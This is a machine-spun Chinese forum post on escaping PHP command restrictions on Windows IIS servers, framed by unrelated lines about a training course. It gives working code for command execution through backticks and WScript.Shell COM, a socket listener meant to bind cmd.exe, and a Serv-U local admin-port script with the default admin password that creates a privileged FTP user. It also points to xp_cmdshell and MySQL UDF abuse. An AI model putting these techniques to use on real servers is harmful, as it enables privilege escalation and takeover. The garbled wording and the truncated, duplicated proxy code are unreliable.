|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
说说这一个月左右的学习情况和心得吧!我个人认为,既然决定了去做一件事,那就要以认真的态度去对待!既然决定来学习了,那不管当初是抱着怎样的心态来到这个培训班的,都要让自己认真的投入到学习中。 从WIN2000到WIN XP, 再到WIN2003, MS IIS办事器平安性的进步是不言而喻的。 在WIN2000中, 一个通俗的PHP SHELL便能把它打倒; 在WIN XP, 即便Safe mode = off,你也没法用system() 等函数履行体系号令, 然而咱们还能用com()函数停止冲破;到WIN 2003,即便IIS 和PHP都是默许装置,你用system(), com()也能够拿它没辙。这时候候你就不能不利用一些新的办法来停止冲破了。
1、disable_functions的冲破
在php -4.0.1以上的版本,php.ini里引入了一项功效disable_functions , 这个功效对照有效,可以用它制止一些函数。好比在php.ini里加上disable_functions = passthru exec system popen 那末在履行这些函数的时分将会提醒Warning: system() has been disabled for security reasons,同时法式终止运转。然而也不是没有举措履行体系号令了。由于php采取了良多perl的特征,好比还可以用(`)来履行号令,示例代码以下:
<?$output = `ls -al`;echo "<pre>$output</pre>";?>
听说这个只要设成safe_mode为on才干防止,但前次我在一台国外的办事器上利用的时分仍是掉败了,人并非甚么时分都能那末走运的:)
2、dl()函数的使用
当任何PHP的外部号令履行数和''都没法利用的时分,可以测验考试dl(),该办法只能用于safe mode=off, 由于它在平安形式下是被禁用的。使用dl()你可以直接挪用W32api 函数,惋惜这个扩大已被挪动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:
// 加载此扩大
dl("php_w32api.dll");
// 注册 GetTickCount 函数,来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");
// 注册 MessageBoxA 函数,来自 User32.dll
w32api_register_function("User32.dll",
"MessageBoxA",
"long");
// 获得开机工夫信息
$ticks = GetTickCount();
// 转换为易于了解的文本
$secs = floor($ticks / 1000);
$mins = floor($secs / 60);
$hours = floor($mins / 60);
$str = sprintf("You have been using your computer for:".
"\r\n %d Milliseconds, or \r\n %d Seconds".
"or \r\n %d mins or\r\n %d hours %d mins.",
$ticks,
$secs,
$mins,
$hours,
$mins - ($hours*60));
// 显示一个动静对话框,只要一个 OK 按钮和下面的开机工夫文本
MessageBoxA(NULL,
$str,
"Uptime Information",
MB_OK);
?>
惋惜我还没有了解透辟dl()和W32api, 所以就稳定举例子了, 以免误导读者。
3、COM 和 .Net(Windows)函数的使用
COM(Component Object Model,组件对象模子)是微软开辟的软件标准,它用于开辟面向对象的、编译好的软件组件,它答应把软件笼统成为二进制的部件,次要应用于windows平台。
PHP 的 Windows 版本已内置该扩大模块的撑持。无需加载任何附加扩大库便可利用COM函数。它的利用办法相似于C++或Java中类的创立的语法,并把COM的类名作为参数传递到机关函数。例如利用在PHP中挪用“WScript.Shell”履行体系号令:
$cmd=” E:/cert/admin/psexec.exe”;
if($com=new COM("WScript.Shell")) echo "yes";
if(!$cmd1=$com->exec($cmd))
{
echo "can not exec()";
}
if(!$cmd2=$cmd1->stdout())
{
echo "can not stdout()";
}
if(!$cmd3=$cmd2->readall())
{
echo "can not readall()";
}
echo $cmd3;
?>
图1是我写的一个履行psexec.exe的一个例子。
这段代码与ASP的的意思是如出一辙的,固然,你也能够像ASP那样挪用“ADODB.Connection”,使用这个组件联合jet2溢露马脚,能够可以在PHP Saft mode=ON下拿到一个Shell。
//create the database connection
$conn = new COM("ADODB.Connection");
$dsn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" . realpath("mydb.mdb");
$conn->Open($dsn);
//pull the data through SQL string
$rs = $conn->Execute("select clients from web");
…..
?>
.Net 函数只能运转在 PHP 5上,固然,它需求 “.Net runtime”的撑持,并且这的PHP的一个实行性模块,功效还未完全,所以在这就不会商了。
4、Java()函数的使用
该办法合用于safe mode=on。要利用JAVA模块办事器必需事前装置Java虚拟机,并且在PHP装置设置装备摆设的时分翻开了with-java的选项,代码以下:
[JAVA]
;这是到php_java.jar的途径
;java.class.path = .\php_java.jar
;JDK的途径
;Java.home = f:\jdk1.3.0
;到虚拟机的途径
;Java.library=f:\jdk1.3.0\jre\bin\hostspot\jvm.dll
同COM一样,利用Java创立类(不单单是JavaBeans)只需把JAVA的类名作为参数传递到机关函数。以下是手册里边的一个例子:
// This example is only intended to be run as a CGI.
$frame = new Java('java.awt.Frame', 'PHP');
$button = new Java('java.awt.Button', 'Hello Java World!');
$frame->add('North', $button);
$frame->validate();
$frame->pack();
$frame->visible = True;
$thread = new Java('java.lang.Thread');
$thread->sleep(10000);
$frame->dispose();
?>
惋惜能真正撑持JAVA的PHP办事器其实不多见,所以在这也不多会商了。
5、socket()函数的使用
socket 是PHP中功效极其壮大的一个模块,假如你利用初级的、笼统的接口(由fsockopen()和psockopen函数翻开的socket),是不需求翻开“php_sockets.dll”的。然而假如要利用完全的socket函数块,就必需在php.ini如许设置:
;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for it.
……..
;去失落以下一句最前边的分号
;extension=php_sockets.dll
利用PHP的socket函数块可以完成端口转发/重定向、数据包嗅探、当地溢出等功效, nc能做的, 它大局部都能做到。并且, 还可以用它机关TCP/UDP办事器, 同时, 我感觉它也是冲破办事器平安战略的一个最好的举措。以下即是一个在办事器上翻开端口机关TCP办事器的例子,你可以用它来绑缚上办事器的cmd.exe:
//在办事器上机关TCP办事
//该例子需求php_sockets.dll的撑持
//履行后即可利用” telnet 127.0.0.1 1020”毗连
error_reporting(E_ALL);
/* Allow the script to hang around waiting for connections. */
set_time_limit(0);
/* Turn on implicit output flushing so we see what we're getting
* as it comes in. */
ob_implicit_flush();
//在办事器上绑定IP和端口
$address = '127.0.0.1';
$port = 1020;
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "\n";
}
if (($ret = socket_bind($sock, $address, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "\n";
}
if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "\n";
}
do {
if (($msgsock = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($msgsock) . "\n";
break;
}
/* Send instructions. */
$msg = "\nWelcome to the PHP Test Server. \n" .
"To quit, type 'quit'. To shut down the server type 'shutdown'.\n";
socket_write($msgsock, $msg, strlen($msg));
do {
if (false === socket_recv($msgsock, $buf , 1024, 0)) {
echo "socket_read() failed: reason: " . socket_strerror($ret) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
if ($buf == 'quit') {
break;
}
if ($buf == 'shutdown') {
socket_close($msgsock);
break 2;
}
$talkback = "PHP: You said '$buf'.\n";
socket_write($msgsock, $talkback, strlen($talkback));
echo "$buf\n";
//以下处置承受到的buf
/*eg:例如
$buf=”cmd.exe /c netstat Can”;
$pp = popen('$buf ', 'r');
While($read = fgets($pp, 2096))
echo $read;
pclose($pp);
*/
} while (true);
socket_close($msgsock);
} while (true);
socket_close($sock);
?>
现实上,良多主机都是没有加载php_sockets.dll的,光荣的是,不需求socket模块撑持的“fsockopen”函数已足够咱们利用了。由于只需有“fsockopen”,咱们即可以自在地读写本机中未对内部开放的端口。利用fsockopen读写serv-u 的当地办理端口43958 (注: 该端口没法在内部保持) 停止提权即是一个很典范的例子:
$adminuser=” LocalAdministrator”;
$adminpass=” #l@$ak#.lk;0@P”;
$adminport=” 43958”;
$fp = fsockopen ("127.0.0.1",$adminport,$errno, $errstr, 8);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
//可以写入$shellcode
// fputs ($fp, $shellcode);
fputs ($fp, "USER ".$adminuser."\r\n");
sleep (1);
fputs ($fp, "PASS ".$adminpass."\r\n");
sleep (1);
fputs ($fp, "SITE MAINTENANCE\r\n");
sleep (1);
fputs ($fp, "-SETUSERSETUP\r\n");
fputs ($fp, "-IP=".$addr."\r\n");
fputs ($fp, "-PortNo=".$ftpport."\r\n");
fputs ($fp, "-User=".$user."\r\n");
fputs ($fp, "-Password=".$password."\r\n");
fputs ($fp, "-HomeDir=".$homedir."\r\n");
fputs ($fp, "-LoginMesFile=\r\n");
fputs ($fp, "-Disable=0\r\n");
fputs ($fp, "-RelPaths=0\r\n");
fputs ($fp, "-NeedSecure=0\r\n");
fputs ($fp, "-HideHidden=0\r\n");
fputs ($fp, "-AlwaysAllowLogin=0\r\n");
fputs ($fp, "-ChangePassword=1\r\n");
fputs ($fp, "-QuotaEnable=0\r\n");
fputs ($fp, "-MaxUsersLoginPerIP=-1\r\n");
fputs ($fp, "-SpeedLimitUp=-1\r\n");
fputs ($fp, "-SpeedLimitDown=-1\r\n");
fputs ($fp, "-MaxNrUsers=-1\r\n");
fputs ($fp, "-IdleTimeOut=600\r\n");
fputs ($fp, "-SessionTimeOut=-1\r\n");
fputs ($fp, "-Expire=0\r\n");
fputs ($fp, "-RatioUp=1\r\n");
fputs ($fp, "-RatioDown=1\r\n");
fputs ($fp, "-RatiosCredit=0\r\n");
fputs ($fp, "-QuotaCurrent=0\r\n");
fputs ($fp, "-QuotaMaximum=0\r\n");
fputs ($fp, "-Maintenance=System\r\n");
fputs ($fp, "-PasswordType=Regular\r\n");
fputs ($fp, "-Ratios=None\r\n");
fputs ($fp, " Access=".$homedir."|RWAMELCDP\r\n");
fputs ($fp, "QUIT\r\n");
sleep (1);
while (!feof($fp)) {
echo fgets ($fp,128);
}
}
?>
还可以使用fsockopen编写HTTP代办署理,从而会见外网或本机中没法内部会见的网站。我手上有一个完全的HTTPProxy(图4),代码较长。有乐趣的读者可以看看。
6、MYSQL/MSSQL接口
分歧于Linux的是,windows下的mysql/MSSQL通常为以体系办理员身份运转的,因而,只需能拿到本机SQL数据库中的root/sa暗码,你就能够直接用PHP毗连数据库来履行体系号令。
在Mysql中履行体系号令要使用用户自界说函数“MySQL UDF Dynamic Library”这个破绽。在MSSQL中只需毗连上数据库,就可以直接挪用“master..xp_cmdshell“扩大履行号令,权限固然是system权限。
总结一下:因为体系、IIS、PHP的版本纷歧样,以上提到的几个冲破办法能够会有所变更,PHP还有很多扩大功效是可以使用的,走出system()那几个体系号令履行函数,你就有能够冲破体系平安战略的限制!
前面附上proxy.php的代码
error_reporting(E_ALL);
/*
// This program is free software; you can redistribute it and/or
// modify it under the terms of the GNU General Public License
// as published by the Free Software Foundation; either version 2
// of the License, or (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//-------------------------------------------------------------------
// Class: PHProxy
// Author: ultimategamer00 (Abdullah A.)
// Last Modified: 6:28 PM 6/22/2004
*/
function __stripslashes($str)
{
return get_magic_quotes_gpc() ? stripslashes($str) : $str;
}
if (!function_exists('str_rot13'))
{
function str_rot13($str)
{
static $alpha = array('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',
'nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM');
return strtr($str, $alpha[0], $alpha[1]);
}
}
class PHProxy
{
var $allowed_hosts = array();
var $version;
var $script_url;
var $url;
var $url_segments;
var $flags = array('include_form' => 1, 'remove_scripts' => 1, 'accept_cookies' => 1, 'show_images' => 1, 'show_referer' => 1);
var $socket;
var $content_type;
var $request_headers;
var $post_body;
var $response_headers;
var $response_body;
function PHProxy($flags = 'previous')
{
$this->version = '0.2';
$this->script_url = 'http'
. (isset(
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';
if (
function set_request_headers()
{
$headers = " " . (isset($this->url_segments['query']) ? "?" : '') . " HTTP/1.0\r\n";
$headers .= "Host: :\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1\r\n";
$headers .= "Connection: close\r\n";
if ($this->flags['show_referer'] == 1)
{
$headers .= "Referer: \r\n";
}
$cookies = $this->get_cookies();
$headers .= $cookies != '' ? "Cookie: $cookies\r\n" : '';
if (
熟悉HTML/CSS/JS等网页基本元素,完成阶段可自行制作完整的网页,对元素属性达到熟悉程度 |
|